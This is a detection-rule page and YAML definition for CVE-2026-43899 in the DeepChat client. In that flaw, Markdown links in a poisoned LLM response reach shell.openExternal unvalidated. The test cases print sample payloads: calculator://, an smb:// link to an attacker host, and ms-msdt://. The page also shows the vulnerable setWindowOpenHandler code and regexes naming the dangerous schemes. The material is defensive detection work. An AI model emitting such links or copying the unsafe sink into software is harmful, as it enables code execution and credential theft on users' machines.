DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)
Detects CVE-2026-43899 / GHSA-cp8j-jx7q-7r5f (CRITICAL): incomplete fix of CVE-2025-55733 in ThinkInAIXYZ/deepchat (< 1.0.4-beta.1). The native Electron window handler in src/main/presenter/tabPresenter.ts calls shell.openExternal(url) inside setWindowOpenHandler() without the ALLOWED_PROTOCOLS check that exists in the renderer preload, so a Markdown link rendered with target="_blank" reaches the OS protocol handler unsanitised. A poisoned LLM API response (e.g. from a custom /v1/chat/completions endpoint) returns Markdown such as "[click here](calculator://)" or "[open](smb://attacker/share)" to launch arbitrary protocol handlers (calculator://, smb://, ms-msdt://, bash://, file://) for host-level code execution and NTLM credential theft over SMB.
建議回應
參考資料
偵測條件
組合方式: any- 01Markdown link whose target is a dangerous OS protocol handler scheme (calculator/smb/ms-msdt/bash/etc.) — the CVE-2026-43899 deeplink payload shape that bypasses shell.openExternal protocol validation.欄位: content運算子: regex
- 02Markdown link to a UNC / SMB share path (file://// , file://host/share, smb://host/share) used to trigger NTLM credential leak over SMB.欄位: content運算子: regex
- 03Vulnerable native sink: setWindowOpenHandler passing the raw url to shell.openExternal without an ALLOWED_PROTOCOLS check (tabPresenter.ts).欄位: content運算子: regex
- 04explicit CVE/GHSA framing combined with the bypass sink or deeplink token欄位: content運算子: regex
攻擊範例(規則會觸發)
Please [click here to open the application](calculator://).
Done! [open](smb://attacker.example.com/share/payload) to finish setup.
Run this fix [here](ms-msdt://id=PCWDiagnostic) right now.
webContents.setWindowOpenHandler(({ url }) => { shell.openExternal(url); return { action: 'deny' } })CVE-2026-43899: incomplete CVE-2025-55733 fix lets a deeplink reach shell.openExternal via setWindowOpenHandler
以上為真實攻擊 payload 的脫敏版本,與規則一同版本化,作為 regression test——確保未來的修訂不會悄悄漏掉它們。
正常樣本(規則不會觸發)
- Benign https:// Markdown link, not a dangerous protocol handler
See the [DeepChat docs](https://deepchat.thinkinai.xyz/guide) for setup.
- Legitimate local file:// link to a document, no UNC/SMB host
Attached: [quarterly report](file:///Users/me/Documents/q3.pdf)
- Mitigation advice mentioning the CVE without any deeplink or sink token
Upgrade DeepChat to 1.0.4-beta.1 to fix CVE-2026-43899.
- Correct handler with protocol allowlist, no raw url passed to openExternal
We sanitise URLs in setWindowOpenHandler by checking parsed.protocol against ALLOWED_PROTOCOLS before returning { action: 'deny' }.
已知誤報情境
- ▸Benign Markdown link to an https:// or http:// web page, e.g. [docs](https://example.com).
- ▸Legitimate [open file](file:///Users/me/report.pdf) link to a local document with no UNC/SMB host.
- ▸Mitigation advisory text recommending upgrade to deepchat 1.0.4-beta.1 without a deeplink payload.
- ▸Electron docs describing setWindowOpenHandler returning { action: 'deny' } with a proper protocol allowlist.
完整 YAML 定義
在 GitHub 編輯 →title: "DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)"
id: ATR-2026-01968
rule_version: 1
status: draft
description: >
Detects CVE-2026-43899 / GHSA-cp8j-jx7q-7r5f (CRITICAL): incomplete fix of
CVE-2025-55733 in ThinkInAIXYZ/deepchat (< 1.0.4-beta.1). The native Electron
window handler in src/main/presenter/tabPresenter.ts calls shell.openExternal(url)
inside setWindowOpenHandler() without the ALLOWED_PROTOCOLS check that exists in
the renderer preload, so a Markdown link rendered with target="_blank" reaches
the OS protocol handler unsanitised. A poisoned LLM API response (e.g. from a
custom /v1/chat/completions endpoint) returns Markdown such as
"[click here](calculator://)" or "[open](smb://attacker/share)" to launch
arbitrary protocol handlers (calculator://, smb://, ms-msdt://, bash://,
file://) for host-level code execution and NTLM credential theft over SMB.
author: "ATR Community"
date: "2026/06/29"
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: critical
references:
owasp_llm:
- "LLM06:2025 - Excessive Agency"
- "LLM05:2025 - Improper Output Handling"
owasp_agentic:
- "ASI06:2026 - Tool Misuse"
- "ASI05:2026 - Unexpected Code Execution"
mitre_atlas:
- "AML.T0049 - Exploit Public-Facing Application"
mitre_attack:
- "T1190 - Exploit Public-Facing Application"
- "T1204.001 - User Execution: Malicious Link"
cve:
- "CVE-2026-43899"
- "GHSA-cp8j-jx7q-7r5f"
metadata_provenance:
mitre_atlas: human-reviewed
owasp_llm: human-reviewed
owasp_agentic: human-reviewed
compliance:
eu_ai_act:
- article: "15"
context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
strength: primary
- article: "9"
context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
strength: secondary
nist_ai_rmf:
- subcategory: "MP.5.1"
context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
strength: primary
- subcategory: "MG.3.2"
context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
strength: secondary
iso_42001:
- clause: "8.1"
context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
strength: primary
- clause: "8.3"
context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
strength: secondary
tags:
category: tool-poisoning
subcategory: markdown-deeplink-protocol-handler-rce
scan_target: both
confidence: high
source: cve-disclosure
vendor_sources: deepchat-cve-2026-43899
agent_source:
type: llm_io
framework:
- any
provider:
- any
detection:
condition: any
false_positives:
- "Benign Markdown link to an https:// or http:// web page, e.g. [docs](https://example.com)."
- "Legitimate [open file](file:///Users/me/report.pdf) link to a local document with no UNC/SMB host."
- "Mitigation advisory text recommending upgrade to deepchat 1.0.4-beta.1 without a deeplink payload."
- "Electron docs describing setWindowOpenHandler returning { action: 'deny' } with a proper protocol allowlist."
conditions:
- field: content
operator: regex
value: '(?i)\]\(\s*(?:calculator|smb|ms-msdt|search-ms|ms-officecmd|bash|sh|cmd|vbscript|jar|tel|telnet)://[^)\s]*\)'
description: >
Markdown link whose target is a dangerous OS protocol handler scheme
(calculator/smb/ms-msdt/bash/etc.) — the CVE-2026-43899 deeplink payload
shape that bypasses shell.openExternal protocol validation.
- field: content
operator: regex
value: '(?i)\]\(\s*(?:file|smb)://(?://|\\\\|[a-z0-9._-]+/[a-z0-9$._-]+)[^)\s]*\)'
description: >
Markdown link to a UNC / SMB share path (file://// , file://host/share,
smb://host/share) used to trigger NTLM credential leak over SMB.
- field: content
operator: regex
value: '(?i)setWindowOpenHandler\s*\([^)]*\)[\s\S]{0,200}shell\.openExternal\s*\(\s*url'
description: >
Vulnerable native sink: setWindowOpenHandler passing the raw url to
shell.openExternal without an ALLOWED_PROTOCOLS check (tabPresenter.ts).
- field: content
operator: regex
value: '(?i)(?:CVE-2026-43899|GHSA-cp8j-jx7q-7r5f|CVE-2025-55733)[\s\S]{0,200}(?:openExternal|setWindowOpenHandler|protocol\s*bypass|deeplink|calculator://|smb://|ms-msdt)'
description: "explicit CVE/GHSA framing combined with the bypass sink or deeplink token"
response:
actions:
- alert
- block_input
message_template: >
[ATR-2026-01968] CRITICAL: DeepChat Markdown deeplink protocol-handler RCE
(CVE-2026-43899 / GHSA-cp8j-jx7q-7r5f). A Markdown link to a dangerous URL
scheme (calculator://, smb://, ms-msdt://, file:// UNC) reaches
shell.openExternal via setWindowOpenHandler without protocol validation,
enabling host-level code execution and NTLM credential theft over SMB.
Block this content and upgrade deepchat to >= 1.0.4-beta.1.
confidence: 80
wild_fp_rate: 0
test_cases:
true_positives:
- input: "Please [click here to open the application](calculator://)."
expected: triggered
description: "Exact PoC Markdown deeplink launching the calculator:// protocol handler"
- input: "Done! [open](smb://attacker.example.com/share/payload) to finish setup."
expected: triggered
description: "SMB UNC deeplink for NTLM credential theft via Markdown link"
- input: "Run this fix [here](ms-msdt://id=PCWDiagnostic) right now."
expected: triggered
description: "ms-msdt:// (Follina-style) protocol handler in a Markdown link"
- input: "webContents.setWindowOpenHandler(({ url }) => { shell.openExternal(url); return { action: 'deny' } })"
expected: triggered
description: "Vulnerable tabPresenter.ts sink passing raw url to shell.openExternal"
- input: "CVE-2026-43899: incomplete CVE-2025-55733 fix lets a deeplink reach shell.openExternal via setWindowOpenHandler"
expected: triggered
description: "Explicit CVE framing with the named bypass sink"
true_negatives:
- input: "See the [DeepChat docs](https://deepchat.thinkinai.xyz/guide) for setup."
expected: not_triggered
description: "Benign https:// Markdown link, not a dangerous protocol handler"
- input: "Attached: [quarterly report](file:///Users/me/Documents/q3.pdf)"
expected: not_triggered
description: "Legitimate local file:// link to a document, no UNC/SMB host"
- input: "Upgrade DeepChat to 1.0.4-beta.1 to fix CVE-2026-43899."
expected: not_triggered
description: "Mitigation advice mentioning the CVE without any deeplink or sink token"
- input: "We sanitise URLs in setWindowOpenHandler by checking parsed.protocol against ALLOWED_PROTOCOLS before returning { action: 'deny' }."
expected: not_triggered
description: "Correct handler with protocol allowlist, no raw url passed to openExternal"